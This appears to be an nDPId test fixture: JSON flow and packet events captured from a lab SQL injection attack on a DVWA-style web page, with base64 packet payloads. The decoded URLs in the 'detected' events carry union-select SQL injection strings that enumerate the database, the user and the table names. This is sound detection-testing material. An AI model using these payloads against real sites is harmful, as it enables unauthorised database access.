sr9dRCZGXpFn1LGhz07RARdMFgEXWOK8pIJoIdDDqrBDKH6zFSmWHkEVSbGXBwbH\/RqVRhTQ\/cFchuWVgHgKPHQVvGMU2iVRraDUWo1bgOCkcPKPoXp7spHnPifU4hVFscOLOIbbklT+LHwSmH4O7aFb2zbbJUSBrVsU7BUcC4dLMd\/UNTA09ULRcVLC5uWZgphtpHvUH77Gg3KPqn4BUcmgm4gDbbbcHj+CC2q2\/n7kiGI3jkajmnwnUHDXp9bJff7IZqzuh0yGtBKllwcAUj1Gfa3lrU7dRMs3fl3mo9rAUkZ8DBj34fapZvX3Y0hRWn6upXpf4LNs6v1jOg0HVR6BJF30i1DmHHJ8jFIpSRW5\/DFRkObP0I9yJfqmcO4OfJWG5RV6HCQe+sB1ExlvUU0ZHMzBY1SxocHNnh85nVFnpb1a+IcHDuxncAFBXbWu33cCFoS9hVIQgti90tdNu9aiHoT5qPthFQGzdzUXl5XBE1W9arw1BGbEgVo0W1PJYqRtQJaOGXGEHnM5EA78+TQVF++mlxqEvNFKSUw6JkTtKsWtVDKc\/\/hXHzI0YJjWHEAfd9Wp2NYm5Kmn4xm1GRraaFYpIGeQtBLMocb6pYABhQ8wDZ6qXZar70Rwqq7lOutHFSDxGNYp7ky\/1MVdeI5XeNxNIn\/uR98AVC1F1YFdPClu8dWeFRuD+rm1BpJYsYYzT2QhkvQ06xGWdzTT52eu++Nnu\/\/XriuT4TGaquoUfE8HzQZIqD\/y1qees2otMgkyXenE95yiJOXb9rZwRuzJCXN2YznicyP44AZIyZUtnEi6EpNFlC81P9FI2lhEYIfZhxHWpDTjPyoHlqS9qKLYXOmWkTy2TKFl7CoC22EhpOxLpsEi\/sfIO+Rtlcb0b9jDq2e9veIDmnOnXeggTHbm2Sci7rbvf3k9i3WnUkR6NFw9g8o52THrTNPcqq7CKP5iFa9sgumPP\/ZbJ8ILkWOS8UjKplJtmUgfVCGxYP7au17LSrmWqUGWONVuSm7xCH6IyJdPk6pDLN0mFJJpN2\/r6sPm8cAsVl+ho9UFfYyB5OQKK19WeAZCvLV2Xkt4ScH6A3OEBbUfVlBm3k8+LSTuY2ZNaWVPBreDwEG0Pm9lkc2IfCJV2fwKyaje1uWYSgc\/sVq6ABiSsKqB66nX6xE3Ftr0lU+vBBd46lNGsfddJgl69q6abnu\/psEPtA5x8a3SfA4D8qFDbP4xQAAA=="} +00432{"flow_id":7,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":69,"source":"WebattackSQLinj.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348494,"pkt_ts_usec":350815,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0SnpAAD4Ge16sEAABwKgKMo1wAFAblvK\/RnauDoAQAQEh+AAAAQEICgE+utID6IxE"} +00431{"flow_id":7,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":70,"source":"WebattackSQLinj.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348499,"pkt_ts_usec":355269,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0Kp1AAEAGmTvAqAoyrBAAAQBQjXBGdq4OG5byv4ARAOsdKQAAAQEICgPokSgBPrrS"} +00432{"flow_id":7,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":71,"source":"WebattackSQLinj.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348499,"pkt_ts_usec":355896,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0SntAAD4Ge12sEAABwKgKMo1wAFAblvK\/RnauD4ARAQEYLwAAAQEICgE+v7UD6JEo"} +00432{"flow_id":7,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":72,"source":"WebattackSQLinj.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348499,"pkt_ts_usec":355969,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0Kp5AAEAGmTrAqAoyrBAAAQBQjXBGdq4PG5bywIAQAOsYRQAAAQEICgPokSgBPr+1"} +00496{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":73,"source":"WebattackSQLinj.pcap","alias":"nDPId-test","flow_id":4,"flow_packet_id":11,"flow_first_seen":1499348433464,"flow_last_seen":1499348438551,"flow_tot_l4_data_len":5117,"flow_min_l4_data_len":32,"flow_max_l4_data_len":4181,"flow_avg_l4_data_len":465,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":36202,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00478{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":73,"source":"WebattackSQLinj.pcap","alias":"nDPId-test","flow_id":8,"flow_packet_id":1,"flow_first_seen":1499348506489,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":36210,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00443{"flow_id":8,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":73,"source":"WebattackSQLinj.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348506,"pkt_ts_usec":489087,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8gghAAD4GQ8isEAABwKgKMo1yAFDHw0SlAAAAAKACchD87AAAAgQFtAQCCAoBPsatAAAAAAEDAwc="} +00444{"flow_id":8,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":74,"source":"WebattackSQLinj.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348506,"pkt_ts_usec":489193,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQjXIW0CP4x8NEpqAScSAm\/AAAAgQFtAQCCAoD6JgfAT7GrQEDAwc="} +00431{"flow_id":8,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":75,"source":"WebattackSQLinj.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348506,"pkt_ts_usec":490001,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0gglAAD4GQ8+sEAABwKgKMo1yAFDHw0SmFtAj+YAQAOXGAwAAAQEICgE+xq0D6Jgf"} +01151{"flow_id":8,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":76,"source":"WebattackSQLinj.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348506,"pkt_ts_usec":490005,"pkt_caplen":603,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":603,"pkt_l4_len":569,"pkt":"ABm5CmnxAMGxFOsxCABFAAJNggpAAD4GQbWsEAABwKgKMo1yAFDHw0SmFtAj+YAYAOX3FAAAAQEICgE+xq0D6JgfR0VUIC9kdi92dWxuZXJhYmlsaXRpZXMvc3FsaS8\/aWQ9MSUyNythbmQrMSUzRDErdW5pb24rc2VsZWN0K2RhdGFiYXNlJTI4JTI5JTJDK3VzZXIlMjglMjklMjMmU3VibWl0PVN1Ym1pdCBIVFRQLzEuMQ0KSG9zdDogMjA1LjE3NC4xNjUuNjgNClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wIChYMTE7IExpbnV4IHg4Nl82NDsgcnY6NDUuMCkgR2Vja28vMjAxMDAxMDEgRmlyZWZveC80NS4wDQpBY2NlcHQ6IHRleHQvaHRtbCxhcHBsaWNhdGlvbi94aHRtbCt4bWwsYXBwbGljYXRpb24veG1sO3E9MC45LCovKjtxPTAuOA0KQWNjZXB0LUxhbmd1YWdlOiBlbi1VUyxlbjtxPTAuNQ0KQWNjZXB0LUVuY29kaW5nOiBnemlwLCBkZWZsYXRlDQpSZWZlcmVyOiBodHRwOi8vMjA1LjE3NC4xNjUuNjgvZHYvdnVsbmVyYWJpbGl0aWVzL3NxbGkvP2lkPTElMjcrYW5kKzElM0QxJTIzJlN1Ym1pdD1TdWJtaXQNCkNvb2tpZTogc2VjdXJpdHk9bG93OyBQSFBTRVNTSUQ9NWRmY3VoODVrZzB2dmlkZjhucnNqdGJvYjUNCkNvbm5lY3Rpb246IGtlZXAtYWxpdmUNCg0K"} +00848{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":76,"source":"WebattackSQLinj.pcap","alias":"nDPId-test","flow_id":8,"flow_packet_id":4,"flow_first_seen":1499348506489,"flow_last_seen":1499348506490,"flow_tot_l4_data_len":681,"flow_min_l4_data_len":32,"flow_max_l4_data_len":569,"flow_avg_l4_data_len":170,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":36210,"dst_port":80,"l4_proto":"tcp","ndpi": {"flow_risk": {"12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"205.174.165.68","url":"205.174.165.68\/dv\/vulnerabilities\/sqli\/?id=1%27+and+1%3D1+union+select+database%28%29%2C+user%28%29%23&Submit=Submit","code":0,"content_type":"","user_agent":"Mozilla\/5.0 (X11; Linux x86_64; rv:45.0) Gecko\/20100101 Firefox\/45.0"}} +00432{"flow_id":8,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":77,"source":"WebattackSQLinj.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348506,"pkt_ts_usec":490071,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0u+ZAAEAGB\/LAqAoyrBAAAQBQjXIW0CP5x8NGv4AQAOvD5AAAAQEICgPomB8BPsat"} +02968{"flow_id":8,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":78,"source":"WebattackSQLinj.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348506,"pkt_ts_usec":495187,"pkt_caplen":1947,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1947,"pkt_l4_len":1913,"pkt":"AMGxFOsxABm5CmnxCABFAAeNu+dAAEAGAJjAqAoyrBAAAQBQjXIW0CP5x8NGv4AYAOt+awAAAQEICgPomCEBPsatSFRUUC8xLjEgMjAwIE9LDQpEYXRlOiBUaHUsIDA2IEp1bCAyMDE3IDEzOjQxOjQ2IEdNVA0KU2VydmVyOiBBcGFjaGUvMi40LjE4IChVYnVudHUpDQpFeHBpcmVzOiBUdWUsIDIzIEp1biAyMDA5IDEyOjAwOjAwIEdNVA0KQ2FjaGUtQ29udHJvbDogbm8tY2FjaGUsIG11c3QtcmV2YWxpZGF0ZQ0KUHJhZ21hOiBuby1jYWNoZQ0KVmFyeTogQWNjZXB0LUVuY29kaW5nDQpDb250ZW50LUVuY29kaW5nOiBnemlwDQpDb250ZW50LUxlbmd0aDogMTUyOQ0KS2VlcC1BbGl2ZTogdGltZW91dD01LCBtYXg9MTAwDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpDb250ZW50LVR5cGU6IHRleHQvaHRtbDtjaGFyc2V0PXV0Zi04DQoNCh+LCAAAAAAAAAOtWP9P4zYU\/xmk+x88nzTgtMbXO922Y2k2aGEgcXcdLcdNmlS5iduaOnHOdlq6v37PTtIGKJSsSIj6y\/vysd8Xv5dXu\/4PnS\/t\/t\/dEzQxsUDdq+OL8zbCDUKu37cJ6fQ76NtZ\/9MFanpvUc8oHhpCTj5jhCfGpIeEzOdzb\/7ek2pM+pfk1kppWrZi2NCOx4tMhINXu692fafnNhaJbq2R0fz48WPOmpPv+BNGIxju7PgxMxRZlgb7nvFZC7dlYlhiGv1FyjAK81kLG3ZriBXxGwonVGlmWlf908avGJFc5o5vuBEs+JqJhCk65IKbxSHq\/XWBzpMbFhouE3R4iDo0TlBJJBi6ZkN0lKaCh9SR7He+Xh8doFnTa75FbzpsxoRMY8Dwxie5hkKd4MkUKSZaWJuFYHrCmMHIAOwCbag1RhPFRi3seQT+otmc2lUSU554bps8lMbhzKWcf3hMx4zA0l1JIzqzZJ7bWMrQoeKpqUK4oTOar2KkVXgHyI12v11Q4N1oHPgkpyxMRAob2fFQRgsUCqqteWXMcG67iM8Qj1rYGglOxFRh3sqWFVJZ3\/F5PH6AxB1SEyHH0kuTMUZUgMU3GGp1bsAK6h6otpc8AMNlFe0P9gYpjSIW5QcCgkyU57S7x0KGU3s1giOZhKB62sJznkRy7sGWw9Hay0\/i7eGSFRjoHXN5ODiDa\/MJhVsWPNh9jkCeQJhlzm+1l07SJ+TfJ8XBeWWlnlqIrCzdoG9Jg4OeHSKCLhksos5xRRnJRLDFhc4qgczBPYYqM4w8gWo9Aw6O7S86lSqsaYH7AtktC+sAcPQ4aMs4pkm0SkPboQi1GtVB4egBRe\/ydDvFI06831MI1RYHzixiG7zkWfw4OOUQ3Od2RW99N1kqJI3q3E7BUcC4crMt7UNTA09ULRMVLC5uWZgphtpH3X777Gg7KPq74BUcmglwQJvtNuBxfBDb1bdzeySDITxytYxT4bqHBu0f2+WD7VDNGZ0OeC1IJQsOrmGEekxbr0XnnZpp9r7cW60HtYDkDDj41utBzfLl05ZXYcWpuvpVqf+SjXLXegEUui4KXaLoGanuQtjyCXKxCGXkxudwRYYDWz+CX+RL9a4D+HkykhvUVahw0D3rQlSMZD1FdCgzs0HNkgYHR3b4ctdqC72N6ldEOLhw43sAiortTu33eCFoS9hVIQgti90tdNu9aiHoT5pPthFQGzdzUXl5XBE1W9arg1BGbEAVo0W1PJIqRtQJaOHXGEHnM5EA78+TflF++mlxqCvNFKSUw6JkTtKsWtVDKc\/\/hXHzA0YJjWHEAfdDWp0NY25Kml4xm1GRraaFYpIGeQtBLMocb6pYABhQcw\/Z6qXZaqIssbkuf0ZQRA0dUs32D35CGQDeP3jtDxVU5adcaeO0HiIaxTzJl3uZqq4RK\/9llNgm4p4OJaX5w\/qdmEhtcmWuq1k6iD95F3yCfOGiR8W0MOw7R1a4Fzjzyi0rfW0R8IzGXijjZfwrNuNsrsmHTvft52b3l59PPNf0IkPVGBpWDG8ZTaY4+N+iliGwFp0GmSzx5nzKUxZx6ppvOyPgvgNeuu96PM9kfhoByBgxpbKJF0OHarKE5qf6LhpLCY0QmkLj2uWGnGbk0eupLWkjthTaeKZNLJMpW3gJgx7dSmg4EXdlk3hh52v0NcpOfz3qF9Sx2drWg+Sc6tRZC7Itu7UZ05nsfLO9n8W+8VaHcjhcNIxNetoZ6dG7eUBZlV0k9TxEy4bdRXX+v8zcj2T6IgGHglG1TGvrngO90IbFA\/uELtv+atocZsbYSysS5VeIQ3TGRLp8qlKZZumgJJNJO3\/sVt9aDoHiKt1HjxQ5NrIHE5Bo7\/p3gGTL3B\/LyG8JOd9DBzhAG1H1ZAY97cvi0k7mJmT2LqngY3jJBBvBM+KzOLCvlsu+PoFZNfXb3bIiQhf2k1pBAxJXFFDKnHd6xU7EtXWTqLTho+YcQaa\/84UpDbb5xJeuqyWqzwax1UL+1dN9jwz+A9Lm5NZwFQAA"} +00432{"flow_id":8,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":79,"source":"WebattackSQLinj.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348506,"pkt_ts_usec":495874,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0ggtAAD4GQ82sEAABwKgKMo1yAFDHw0a\/FtArUoAQAQK8cQAAAQEICgE+xq4D6Jgh"} +00432{"flow_id":8,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":80,"source":"WebattackSQLinj.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348511,"pkt_ts_usec":496547,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0ggxAAD4GQ8ysEAABwKgKMo1yAFDHw0a\/FtArUoARAQK3jgAAAQEICgE+y5AD6Jgh"} +00432{"flow_id":8,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":81,"source":"WebattackSQLinj.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348511,"pkt_ts_usec":496699,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0u+lAAEAGB+\/AqAoyrBAAAQBQjXIW0CtSx8NGwIARAOuywgAAAQEICgPonQMBPsuQ"} +00432{"flow_id":8,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":82,"source":"WebattackSQLinj.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348511,"pkt_ts_usec":497289,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0gg1AAD4GQ8usEAABwKgKMo1yAFDHw0bAFtArU4AQAQKyqgAAAQEICgE+y5ED6J0D"} +00478{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":83,"source":"WebattackSQLinj.pcap","alias":"nDPId-test","flow_id":9,"flow_packet_id":1,"flow_first_seen":1499348514064,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":36212,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00442{"flow_id":9,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":83,"source":"WebattackSQLinj.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348514,"pkt_ts_usec":64531,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8tHhAAD4GEVisEAABwKgKMo10AFC7kHpqAAAAAKACchDL8wAAAgQFtAQCCAoBPs4SAAAAAAEDAwc="} +00442{"flow_id":9,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":84,"source":"WebattackSQLinj.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348514,"pkt_ts_usec":64644,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQjXSy4nMxu5B6a6AScSADUQAAAgQFtAQCCAoD6J+FAT7OEgEDAwc="} +00430{"flow_id":9,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":85,"source":"WebattackSQLinj.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348514,"pkt_ts_usec":65457,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0tHlAAD4GEV+sEAABwKgKMo10AFC7kHprsuJzMoAQAOWiVwAAAQEICgE+zhMD6J+F"} +01234{"flow_id":9,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":86,"source":"WebattackSQLinj.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348514,"pkt_ts_usec":65460,"pkt_caplen":666,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":666,"pkt_l4_len":632,"pkt":"ABm5CmnxAMGxFOsxCABFAAKMtHpAAD4GDwasEAABwKgKMo10AFC7kHprsuJzMoAYAOX5EAAAAQEICgE+zhMD6J+FR0VUIC9kdi92dWxuZXJhYmlsaXRpZXMvc3FsaS8\/aWQ9MSUyNythbmQrMSUzRDErdW5pb24rc2VsZWN0K251bGwlMkMrdGFibGVfbmFtZStmcm9tK2luZm9ybWF0aW9uX3NjaGVtYS50YWJsZXMlMjMmU3VibWl0PVN1Ym1pdCBIVFRQLzEuMQ0KSG9zdDogMjA1LjE3NC4xNjUuNjgNClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wIChYMTE7IExpbnV4IHg4Nl82NDsgcnY6NDUuMCkgR2Vja28vMjAxMDAxMDEgRmlyZWZveC80NS4wDQpBY2NlcHQ6IHRleHQvaHRtbCxhcHBsaWNhdGlvbi94aHRtbCt4bWwsYXBwbGljYXRpb24veG1sO3E9MC45LCovKjtxPTAuOA0KQWNjZXB0LUxhbmd1YWdlOiBlbi1VUyxlbjtxPTAuNQ0KQWNjZXB0LUVuY29kaW5nOiBnemlwLCBkZWZsYXRlDQpSZWZlcmVyOiBodHRwOi8vMjA1LjE3NC4xNjUuNjgvZHYvdnVsbmVyYWJpbGl0aWVzL3NxbGkvP2lkPTElMjcrYW5kKzElM0QxK3VuaW9uK3NlbGVjdCtkYXRhYmFzZSUyOCUyOSUyQyt1c2VyJTI4JTI5JTIzJlN1Ym1pdD1TdWJtaXQNCkNvb2tpZTogc2VjdXJpdHk9bG93OyBQSFBTRVNTSUQ9NWRmY3VoODVrZzB2dmlkZjhucnNqdGJvYjUNCkNvbm5lY3Rpb246IGtlZXAtYWxpdmUNCg0K"} +00869{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":86,"source":"WebattackSQLinj.pcap","alias":"nDPId-test","flow_id":9,"flow_packet_id":4,"flow_first_seen":1499348514064,"flow_last_seen":1499348514065,"flow_tot_l4_data_len":744,"flow_min_l4_data_len":32,"flow_max_l4_data_len":632,"flow_avg_l4_data_len":186,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":36212,"dst_port":80,"l4_proto":"tcp","ndpi": {"flow_risk": {"12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"205.174.165.68","url":"205.174.165.68\/dv\/vulnerabilities\/sqli\/?id=1%27+and+1%3D1+union+select+null%2C+table_name+from+information_schema.tables%23&Submit=Submit","code":0,"content_type":"","user_agent":"Mozilla\/5.0 (X11; Linux x86_64; rv:45.0) Gecko\/20100101 Firefox\/45.0"}} +00430{"flow_id":9,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":87,"source":"WebattackSQLinj.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348514,"pkt_ts_usec":65524,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA07LdAAEAG1yDAqAoyrBAAAQBQjXSy4nMyu5B8w4AQAOyf+AAAAQEICgPon4UBPs4T"} +02393{"flow_id":9,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":88,"source":"WebattackSQLinj.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348514,"pkt_ts_usec":75711,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"AMGxFOsxABm5CmnxCABFAAXc7LhAAEAG0XfAqAoyrBAAAQBQjXSy4nMyu5B8w4AQAOybhgAAAQEICgPon4gBPs4TSFRUUC8xLjEgMjAwIE9LDQpEYXRlOiBUaHUsIDA2IEp1bCAyMDE3IDEzOjQxOjUzIEdNVA0KU2VydmVyOiBBcGFjaGUvMi40LjE4IChVYnVudHUpDQpFeHBpcmVzOiBUdWUsIDIzIEp1biAyMDA5IDEyOjAwOjAwIEdNVA0KQ2FjaGUtQ29udHJvbDogbm8tY2FjaGUsIG11c3QtcmV2YWxpZGF0ZQ0KUHJhZ21hOiBuby1jYWNoZQ0KVmFyeTogQWNjZXB0LUVuY29kaW5nDQpDb250ZW50LUVuY29kaW5nOiBnemlwDQpDb250ZW50LUxlbmd0aDogMzc5Nw0KS2VlcC1BbGl2ZTogdGltZW91dD01LCBtYXg9MTAwDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpDb250ZW50LVR5cGU6IHRleHQvaHRtbDtjaGFyc2V0PXV0Zi04DQoNCh+LCAAAAAAAAAPNnXtv47gRwP\/eBfY7qOqi+0BjbXq4tpvaPji2kwjnJD4\/kruigEBLtM2NJOpIyk7u03dIybH82myaRYeLYKMHHz8NyZkhh1LevK7\/qXPdHv3W7zpzlcROf3za89uOe+R5tz+0Pa8z6ji\/Xowue85x7ZMzVIKFyvO6V67jzpXKTjxvuVzWlj\/UuJh5o4F3r0s51tnKwyNp8tQiFbnNN6\/fvK6beu6TOJWNPWUcf\/78uchaJH9Vn1MSweGrV\/WEKuLoLEf095wtGm6bp4qm6mj0kFHXCYuzhqvovfJ0Ef9ywjkRkqrGeHR29E\/X8YoyX9UVUzFt3uRxSgWZsJiphxNn+EvP8dMvNFSMp87JidMhSeqsEsXUuaUTp5VlMQuJSfK+c3Pb+uAsjmvHn5yPHbqgMc8SYPhY94oayupilt45gsYNV6qHmMo5pcp1FGCXtKGUrjMXdNpwazUPfqLFkuirXkJYWjO3vd3SGDzzqpz\/sITMqAeXNkuakoVOVjM3HsuQoWCZqiJ8IQtSXHUdKcINkC\/S\/O5DBbUv0m3WvSJl2URe2Ub6eMKjByeMidTNyxPqFm0XsYXDooarGwmeiIqyeSu3dCGV66\/qLJntkJiHlF7MZ7yWpTPXITG0+BMNtX5uYIXqdqrWQg6g4fJK7Tv3goxEEY2KB4IEebx6Tn33NObhnRZNzByehlD1XcNdsjTiyxrcMhyNd8WT1N65q6yQgWw0V81tXoDY6h4BKces+fpbCmQpDLPc9FtZy+bZV8rfTuo2\/cqV51ULIyvPnqjvMY3bHOpDx3MGFC46ndNKZV4eN18g0EVlIDPoHhORK+p9hWp\/Brd5qn87Z1yEz2yB7QLpPQ2fA2DSu802TxKSRms19DKKUIrpcyhMeqAYDs5eVvGUebWfMhiqDQY584g+0Uu+Kb\/bPGMwuH19Rb5YNnkWcxI9RzpljhJjbM5e2D4kU2CintVEZRYzbmmYC+q0W\/1R+6L1MhT5e8wqHJLG0AG1tnuCx+SDsV21nS8nCSZg5J7VOJVcWzTO+1N9+cPLqJaU3AXsWUirLG7zFo6cIZW61zp+55lqdrvceymDZ4EUGdzmr8Mh+CzXly8UhS5OPLd+sap\/QKdF1\/oOFPK5FHJFMVRcbCK80ASZsQhu5JPmcJ3MbWr\/EfpFcel54oD8LJ3yJ6qrpHKb\/Ys+jIopf15FZMJz9UQ1j2ncZksffj+xakfvyerXidxmzxxvAZQe24bvd9gR1C7s2hGEKYu+W9at71Udwfr8+KvTCPCNj4uiCve4UtTi0V8NQh7RgAhKSm95ykXiEFNAw\/2z68DMZ84B77w7Kt3PelY+1FhSASrlpHSZ0yyvevXgyrM\/4Pj4R9dJSQJHDLh308p8kjC1SjMszxYkztenZcVe1iymEJ6mLHgzQZvA4By\/c7T3ctw4dvJU67rCjDhpHsd\/dZQ="} 